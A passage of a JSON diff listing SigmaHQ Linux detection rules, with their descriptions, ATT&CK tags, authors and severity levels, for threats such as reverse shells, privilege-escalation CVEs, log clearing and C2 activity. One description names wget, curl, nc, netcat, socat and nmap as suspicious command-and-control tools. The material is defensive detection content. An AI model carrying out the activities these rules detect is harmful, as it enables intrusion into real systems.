"https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1046/T1046.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_network_service_scanning.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1046" + ], + "creation_date": "2020/10/21", + "filename": "lnx_auditd_network_service_scanning.yml", + "author": "Alejandro Ortuno, oscd.community", + "level": "low", + "falsepositive": [ + "Legitimate administration activities" + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection.\nAn adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data.\n", + "uuid": "f4d3748a-65d1-4806-bd23-e25728081d01", + "value": "Network Sniffing", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1040/T1040.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_network_sniffing.yml" + ], + "tags": [ + "attack.credential_access", + "attack.discovery", + "attack.t1040" + ], + "creation_date": "2019/10/21", + "filename": "lnx_auditd_network_sniffing.yml", + "author": "Timur Zinniatullin, oscd.community", + "level": "low", + "falsepositive": [ + "Legitimate administrator or user uses network sniffing tool for legitimate reasons." + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Rule to detect the use of the SCX RunAsProvider Invoke_ExecuteShellCommand to execute any UNIX/Linux command using the /bin/sh shell.\nSCXcore, started as the Microsoft Operations Manager UNIX/Linux Agent, is now used in a host of products including Microsoft Operations Manager.\nMicrosoft Azure, and Microsoft Operations Management Suite.\n", + "uuid": "045b5f9c-49f7-4419-a236-9854fb3c827a", + "value": "OMIGOD SCX RunAsProvider ExecuteShellCommand", + "meta": { + "refs": [ + "https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure", + "https://github.com/Azure/Azure-Sentinel/pull/3059", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_omigod_scx_runasprovider_executeshellcommand.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.initial_access", + "attack.execution", + "attack.t1068", + "attack.t1190", + "attack.t1203" + ], + "creation_date": "2021/09/17", + "filename": "lnx_auditd_omigod_scx_runasprovider_executeshellcommand.yml", + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", + "level": "high", + "falsepositive": [ + "Legitimate use of SCX RunAsProvider Invoke_ExecuteShellCommand." + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Detects password policy discovery commands", + "uuid": "ca94a6db-8106-4737-9ed2-3e3bb826af0a", + "value": "Password Policy Discovery", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1201/T1201.md", + "https://attack.mitre.org/techniques/T1201/", + "https://linux.die.net/man/1/chage", + "https://man7.org/linux/man-pages/man1/passwd.1.html", + "https://superuser.com/questions/150675/how-to-display-password-policy-information-for-a-user-ubuntu", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_password_policy_discovery.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1201" + ], + "creation_date": "2020/10/08", + "filename": "lnx_auditd_password_policy_discovery.yml", + "author": "\u00d6mer G\u00fcnal, oscd.community, Pawel Mazur", + "level": "low", + "falsepositive": [ + "Legitimate administration activities" + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Detects a reload or a start of a service.", + "uuid": "2625cc59-0634-40d0-821e-cb67382a3dd7", + "value": "Systemd Service Reload or Start", + "meta": { + "refs": [ + "https://attack.mitre.org/techniques/T1543/002/", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1543.002/T1543.002.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_pers_systemd_reload.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1543.002" + ], + "creation_date": "2019/09/23", + "filename": "lnx_auditd_pers_systemd_reload.yml", + "author": "Jakob Weinzettl, oscd.community", + "level": "low", + "falsepositive": [ + "Installation of legitimate service.", + "Legitimate reconfiguration of service." + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Detects adversary creating screen capture of a desktop with Import Tool.\nHighly recommended using rule on servers, due to high usage of screenshot utilities on user workstations.\nImageMagick must be installed.\n", + "uuid": "dbe4b9c5-c254-4258-9688-d6af0b7967fd", + "value": "Screen Capture with Import Tool", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1113/T1113.md", + "https://attack.mitre.org/techniques/T1113/", + "https://linux.die.net/man/1/import", + "https://imagemagick.org/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_screencapture_import.yml" + ], + "tags": [ + "attack.collection", + "attack.t1113" + ], + "creation_date": "2021/09/21", + "filename": "lnx_auditd_screencapture_import.yml", + "author": "Pawel Mazur", + "level": "low", + "falsepositive": [ + "Legitimate use of screenshot utility" + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Detects adversary creating screen capture of a full with xwd. Highly recommended using rule on servers, due high usage of screenshot utilities on user workstations", + "uuid": "e2f17c5d-b02a-442b-9052-6eb89c9fec9c", + "value": "Screen Capture with Xwd", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1113/T1113.md#atomic-test-3---x-windows-capture", + "https://attack.mitre.org/techniques/T1113/", + "https://linux.die.net/man/1/xwd", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_screencaputre_xwd.yml" + ], + "tags": [ + "attack.collection", + "attack.t1113" + ], + "creation_date": "2021/09/13", + "filename": "lnx_auditd_screencaputre_xwd.yml", + "author": "Pawel Mazur", + "level": "low", + "falsepositive": [ + "Legitimate use of screenshot utility" + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Detection use of the command \"split\" to split files into parts and possible transfer.", + "uuid": "2dad0cba-c62a-4a4f-949f-5f6ecd619769", + "value": "Split A File Into Pieces", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1030/T1030.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_split_file_into_pieces.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.t1030" + ], + "creation_date": "2020/10/15", + "filename": "lnx_auditd_split_file_into_pieces.yml", + "author": "Igor Fits, oscd.community", + "level": "low", + "falsepositive": [ + "Legitimate administrative activity" + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Detects embeding of files with usage of steghide binary, the adversaries may use this technique to prevent the detection of hidden information.", + "uuid": "ce446a9e-30b9-4483-8e38-d2c9ad0a2280", + "value": "Steganography Hide Files with Steghide", + "meta": { + "refs": [ + "https://attack.mitre.org/techniques/T1027/003/", + "https://vitux.com/how-to-hide-confidential-files-in-images-on-debian-using-steganography/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_steghide_embed_steganography.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027.003" + ], + "creation_date": "2021/09/11", + "filename": "lnx_auditd_steghide_embed_steganography.yml", + "author": "Pawel Mazur", + "level": "low", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Detects extraction of files with usage of steghide binary, the adversaries may use this technique to prevent the detection of hidden information.", + "uuid": "a5a827d9-1bbe-4952-9293-c59d897eb41b", + "value": "Steganography Extract Files with Steghide", + "meta": { + "refs": [ + "https://attack.mitre.org/techniques/T1027/003/", + "https://vitux.com/how-to-hide-confidential-files-in-images-on-debian-using-steganography/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_steghide_extract_steganography.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027.003" + ], + "creation_date": "2021/09/11", + "filename": "lnx_auditd_steghide_extract_steganography.yml", + "author": "Pawel Mazur", + "level": "low", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Detects suspicious activities as declared by Florian Roth in its 'Best Practice Auditd Configuration'.\nThis includes the detection of the following commands; wget, curl, base64, nc, netcat, ncat, ssh, socat, wireshark, rawshark, rdesktop, nmap.\nThese commands match a few techniques from the tactics \"Command and Control\", including not exhaustively the following; Application Layer Protocol (T1071), Non-Application Layer Protocol (T1095), Data Encoding (T1132)\n", + "uuid": "f7158a64-6204-4d6d-868a-6e6378b467e0", + "value": "Suspicious C2 Activities", + "meta": { + "refs": [ + "https://github.com/Neo23x0/auditd", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_susp_c2_commands.yml" + ], + "tags": [ + "attack.command_and_control" + ], + "creation_date": "2020/05/18", + "filename": "lnx_auditd_susp_c2_commands.yml", + "author": "Marie Euler", + "level": "medium", + "falsepositive": [ + "Admin or User activity" + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Detects relevant commands often related to malware or hacking activity", + "uuid": "1543ae20-cbdf-4ec1-8d12-7664d667a825", + "value": "Suspicious Commands Linux", + "meta": { + "refs": [ + "Internal Research - mostly derived from exploit code including code in MSF", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_susp_cmds.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.004" + ], + "creation_date": "2017/12/12", + "filename": "lnx_auditd_susp_cmds.yml", + "author": "Florian Roth", + "level": "medium", + "falsepositive": [ + "Admin activity" + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Detects program executions in suspicious non-program folders related to malware or hacking activity", + "uuid": "a39d7fa7-3fbd-4dc2-97e1-d87f546b1bbc", + "value": "Program Executions in Suspicious Folders", + "meta": { + "refs": [ + "Internal Research", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_susp_exe_folders.yml" + ], + "tags": [ + "attack.t1587", + "attack.t1584", + "attack.resource_development" + ], + "creation_date": "2018/01/23", + "filename": "lnx_auditd_susp_exe_folders.yml", + "author": "Florian Roth", + "level": "medium", + "falsepositive": [ + "Admin activity (especially in /tmp folders)", + "Crazy web applications" + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Detects commandline operations on shell history files", + "uuid": "eae8ce9f-bde9-47a6-8e79-f20d18419910", + "value": "Suspicious History File Operations", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1552.003/T1552.003.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_susp_histfile_operations.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1552.003" + ], + "creation_date": "2020/10/17", + "filename": "lnx_auditd_susp_histfile_operations.yml", + "author": "Mikhail Larin, oscd.community", + "level": "medium", + "falsepositive": [ + "Legitimate administrative activity", + "Legitimate software, cleaning hist file" + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Detects a creation of systemd services which could be used by adversaries to execute malicious code.", + "uuid": "1bac86ba-41aa-4f62-9d6b-405eac99b485", + "value": "Systemd Service Creation", + "meta": { + "refs": [ + "https://attack.mitre.org/techniques/T1543/002/", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1543.002/T1543.002.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_systemd_service_creation.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1543.002" + ], + "creation_date": "2022/02/03", + "filename": "lnx_auditd_systemd_service_creation.yml", + "author": "Pawel Mazur", + "level": "medium", + "falsepositive": [ + "Admin work like legit service installs." + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Detects System Information Discovery commands", + "uuid": "f34047d9-20d3-4e8b-8672-0a35cc50dc71", + "value": "System Information Discovery", + "meta": { + "refs": [ + "https://attack.mitre.org/techniques/T1082/", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1082/T1082.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_system_info_discovery.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1082" + ], + "creation_date": "2021/09/03", + "filename": "lnx_auditd_system_info_discovery.yml", + "author": "Pawel Mazur", + "level": "low", + "falsepositive": [ + "Legitimate administrative activity" + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Detects system information discovery commands", + "uuid": "1f358e2e-cb63-43c3-b575-dfb072a6814f", + "value": "System Information Discovery", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1082/T1082.md#atomic-test-4---linux-vm-check-via-hardware", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_system_info_discovery2.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1082" + ], + "creation_date": "2020/10/08", + "filename": "lnx_auditd_system_info_discovery2.yml", + "author": "\u00d6mer G\u00fcnal, oscd.community", + "level": "informational", + "falsepositive": [ + "Legitimate administration activities" + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems.", + "uuid": "4cb57c2f-1f29-41f8-893d-8bed8e1c1d2f", + "value": "System Shutdown/Reboot", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1529/T1529.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_system_shutdown_reboot.yml" + ], + "tags": [ + "attack.impact", + "attack.t1529" + ], + "creation_date": "2020/10/15", + "filename": "lnx_auditd_system_shutdown_reboot.yml", + "author": "Igor Fits, oscd.community", + "level": "informational", + "falsepositive": [ + "Legitimate administrative activity" + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Detects extracting of zip file from image file", + "uuid": "edd595d7-7895-4fa7-acb3-85a18a8772ca", + "value": "Steganography Unzip Hidden Information From Picture File", + "meta": { + "refs": [ + "https://attack.mitre.org/techniques/T1027/003/", + "https://zerotoroot.me/steganography-hiding-a-zip-in-a-jpeg-file/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_unzip_hidden_zip_files_steganography.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027.003" + ], + "creation_date": "2021/09/09", + "filename": "lnx_auditd_unzip_hidden_zip_files_steganography.yml", + "author": "Pawel Mazur", + "level": "low", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Adversaries may use the information from System Owner/User Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.", + "uuid": "9a0d8ca0-2385-4020-b6c6-cb6153ca56f3", + "value": "System Owner or User Discovery", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1033/T1033.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_user_discovery.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1033" + ], + "creation_date": "2019/10/21", + "filename": "lnx_auditd_user_discovery.yml", + "author": "Timur Zinniatullin, oscd.community", + "level": "low", + "falsepositive": [ + "Admin activity" + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Detects possible command execution by web application/web shell", + "uuid": "c0d3734d-330f-4a03-aae2-65dacc6a8222", + "value": "Webshell Remote Command Execution", + "meta": { + "refs": [ + "personal experience", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_web_rce.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1505.003" + ], + "creation_date": "2019/10/12", + "filename": "lnx_auditd_web_rce.yml", + "author": "Ilyas Ochkov, Beyu Denis, oscd.community", + "level": "critical", + "falsepositive": [ + "Admin activity", + "Crazy web applications" + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Detects suspicious shell commands used in various Equation Group scripts and tools", + "uuid": "41e5c73d-9983-4b69-bd03-e13b67e9623c", + "value": "Equation Group Indicators", + "meta": { + "refs": [ + "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_apt_equationgroup_lnx.yml" + ], + "tags": [ + "attack.execution", + "attack.g0020", + "attack.t1059.004" + ], + "creation_date": "2017/04/09", + "filename": "lnx_apt_equationgroup_lnx.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Detects buffer overflow attempts in Unix system log files", + "uuid": "18b042f0-2ecd-4b6e-9f8d-aa7a7e7de781", + "value": "Buffer Overflow Attempts", + "meta": { + "refs": [ + "https://github.com/ossec/ossec-hids/blob/1ecffb1b884607cb12e619f9ab3c04f530801083/etc/rules/attack_rules.xml", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_buffer_overflows.yml" + ], + "tags": [ + "attack.t1068", + "attack.privilege_escalation" + ], + "creation_date": "2017/03/01", + "filename": "lnx_buffer_overflows.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Detects specific commands commonly used to remove or empty the syslog", + "uuid": "e09eb557-96d2-4de9-ba2d-30f712a5afd3", + "value": "Commands to Clear or Remove the Syslog", + "meta": { + "refs": [ + "https://www.virustotal.com/gui/file/fc614fb4bda24ae8ca2c44e812d12c0fab6dd7a097472a35dd12ded053ab8474", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_clear_syslog.yml" + ], + "tags": [ + "attack.impact", + "attack.t1565.001" + ], + "creation_date": "2021/09/10", + "filename": "lnx_clear_syslog.yml", + "author": "Max Altgelt", + "level": "high", + "falsepositive": [ + "Log rotation" + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Detects suspicious modification of crontab file.", + "uuid": "af202fd3-7bff-4212-a25a-fb34606cfcbe", + "value": "Modifying Crontab", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1053.003/T1053.003.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_crontab_file_modification.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1053.003" + ], + "creation_date": "2022/04/16", + "filename": "lnx_crontab_file_modification.yml", + "author": "Pawel Mazur", + "level": "medium", + "falsepositive": [ + "Legitimate modification of crontab" + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Detects the use of tools that copy files from or to remote systems", + "uuid": "7a14080d-a048-4de8-ae58-604ce58a795b", + "value": "Remote File Copy", + "meta": { + "refs": [ + "https://attack.mitre.org/techniques/T1105/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_file_copy.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.lateral_movement", + "attack.t1105" + ], + "creation_date": "2020/06/18", + "filename": "lnx_file_copy.yml", + "author": "\u00d6mer G\u00fcnal", + "level": "low", + "falsepositive": [ + "Legitimate administration activities" + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Detects the ld.so preload persistence file. See `man ld.so` for more information.", + "uuid": "7e3c4651-c347-40c4-b1d4-d48590fdf684", + "value": "Code Injection by ld.so Preload", + "meta": { + "refs": [ + "https://man7.org/linux/man-pages/man8/ld.so.8.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_ldso_preload_injection.yml" + ], + "tags": [ + "attack.persistence", + "attack.privilege_escalation", + "attack.t1574.006" + ], + "creation_date": "2021/05/05", + "filename": "lnx_ldso_preload_injection.yml", + "author": "Christian Burkard", + "level": "high", + "falsepositive": [ + "Rare temporary workaround for library misconfiguration" + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Detects exploitation of Nimbuspwn privilege escalation vulnerability (CVE-2022-29799 and CVE-2022-29800)", + "uuid": "7ba05b43-adad-4c02-b5e9-c8c35cdf9fa8", + "value": "Nimbuspwn Exploitation", + "meta": { + "refs": [ + "https://www.microsoft.com/security/blog/2022/04/26/microsoft-finds-new-elevation-of-privilege-linux-vulnerability-nimbuspwn/", + "https://github.com/Immersive-Labs-Sec/nimbuspwn", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_nimbuspwn_privilege_escalation_exploit.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1068" + ], + "creation_date": "2022/05/04", + "filename": "lnx_nimbuspwn_privilege_escalation_exploit.yml", + "author": "Bhabesh Raj", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Detects potential PwnKit exploitation CVE-2021-4034 in auth logs", + "uuid": "0506a799-698b-43b4-85a1-ac4c84c720e9", + "value": "PwnKit Local Privilege Escalation", + "meta": { + "refs": [ + "https://twitter.com/wdormann/status/1486161836961579020", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_pwnkit_local_privilege_escalation.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1548.001" + ], + "creation_date": "2022/01/26", + "filename": "lnx_pwnkit_local_privilege_escalation.yml", + "author": "Sreeman", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Detects shellshock expressions in log files", + "uuid": "c67e0c98-4d39-46ee-8f6b-437ebf6b950e", + "value": "Shellshock Expression", + "meta": { + "refs": [ + "https://owasp.org/www-pdf-archive/Shellshock_-_Tudor_Enache.pdf", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_shellshock.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1505.003" + ], + "creation_date": "2017/03/14", + "filename": "lnx_shellshock.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Clear command history in linux which is used for defense evasion.", + "uuid": "fdc88d25-96fb-4b7c-9633-c0e417fdbd4e", + "value": "Clear Command History", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.003/T1070.003.md", + "https://attack.mitre.org/techniques/T1070/003/", + "https://www.hackers-arise.com/single-post/2016/06/20/Covering-your-BASH-Shell-Tracks-AntiForensics", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_shell_clear_cmd_history.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1070.003" + ], + "creation_date": "2019/03/24", + "filename": "lnx_shell_clear_cmd_history.yml", + "author": "Patrick Bareiss", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Detects suspicious shell commands indicating the information gathering phase as preparation for the Privilege Escalation.", + "uuid": "444ade84-c362-4260-b1f3-e45e20e1a905", + "value": "Privilege Escalation Preparation", + "meta": { + "refs": [ + "https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/", + "https://patrick-bareiss.com/detect-privilege-escalation-preparation-in-linux-with-sigma/", + "https://github.com/uber-common/metta/blob/master/MITRE/Privilege_Escalation/privesc_linux_filesystemweakness.yml", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_shell_priv_esc_prep.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.004" + ], + "creation_date": "2019/04/05", + "filename": "lnx_shell_priv_esc_prep.yml", + "author": "Patrick Bareiss", + "level": "medium", + "falsepositive": [ + "Troubleshooting on Linux Machines" + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Detects suspicious shell commands used in various exploit codes (see references)", + "uuid": "2aa1440c-9ae9-4d92-84a7-a9e5f5e31695", + "value": "Suspicious Activity in Shell Commands", + "meta": { + "refs": [ + "http://www.threatgeek.com/2017/03/widespread-exploitation-attempts-using-cve-2017-5638.html", + "https://github.com/rapid7/metasploit-framework/blob/eb6535009f5fdafa954525687f09294918b5398d/modules/exploits/multi/http/struts_code_exec_exception_delegator.rb", + "http://pastebin.com/FtygZ1cg", + "https://artkond.com/2017/03/23/pivoting-guide/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_shell_susp_commands.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.004" + ], + "creation_date": "2017/08/21", + "filename": "lnx_shell_susp_commands.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Detects suspicious log entries in Linux log files", + "uuid": "f64b6e9a-5d9d-48a5-8289-e1dd2b3876e1", + "value": "Suspicious Log Entries", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_shell_susp_log_entries.yml" + ], + "tags": [ + "attack.impact" + ], + "creation_date": "2017/03/25", + "filename": "lnx_shell_susp_log_entries.yml", + "author": "Florian Roth", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Detects suspicious shell commands or program code that may be executed or used in command line to establish a reverse shell", + "uuid": "738d9bcf-6999-4fdb-b4ac-3033037db8ab", + "value": "Suspicious Reverse Shell Command Line", + "meta": { + "refs": [ + "https://alamot.github.io/reverse_shells/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_shell_susp_rev_shells.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.004" + ], + "creation_date": "2019/04/02", + "filename": "lnx_shell_susp_rev_shells.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Detects space after filename", + "uuid": "879c3015-c88b-4782-93d7-07adf92dbcb7", + "value": "Space After Filename", + "meta": { + "refs": [ + "https://attack.mitre.org/techniques/T1064", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_space_after_filename_.yml" + ], + "tags": [ + "attack.execution" + ], + "creation_date": "2020/06/17", + "filename": "lnx_space_after_filename_.yml", + "author": "\u00d6mer G\u00fcnal", + "level": "low", + "falsepositive": [ + "Typos" + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Detects users trying to exploit sudo vulnerability reported in CVE-2019-14287", + "uuid": "7fcc54cb-f27d-4684-84b7-436af096f858", + "value": "Sudo Privilege Escalation CVE-2019-14287", + "meta": { + "refs": [ + "https://www.openwall.com/lists/oss-security/2019/10/14/1", + "https://access.redhat.com/security/cve/cve-2019-14287", + "https://twitter.com/matthieugarin/status/1183970598210412546", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_sudo_cve_2019_14287_user.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1068", + "attack.t1548.003", + "cve.2019.14287" + ], + "creation_date": "2019/10/15", + "filename": "lnx_sudo_cve_2019_14287_user.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Detects suspicious command with /dev/tcp", + "uuid": "6cc5fceb-9a71-4c23-aeeb-963abe0b279c", + "value": "Suspicious Use of /dev/tcp", + "meta": { + "refs": [ + "https://www.andreafortuna.org/2021/03/06/some-useful-tips-about-dev-tcp/", + "https://book.hacktricks.xyz/shells/shells/linux", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1046/T1046.md#atomic-test-1---port-scan", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_susp_dev_tcp.yml" + ], + "tags": [ + "attack.reconnaissance" + ], + "creation_date": "2021/12/10", + "filename": "lnx_susp_dev_tcp.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Detects suspicious command sequence that JexBoss", + "uuid": "8ec2c8b4-557a-4121-b87c-5dfb3a602fae", + "value": "JexBoss Command Sequence", + "meta": { + "refs": [ + "https://www.us-cert.gov/ncas/analysis-reports/AR18-312A", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_susp_jexboss.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.004" + ], + "creation_date": "2017/08/24", + "filename": "lnx_susp_jexboss.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + 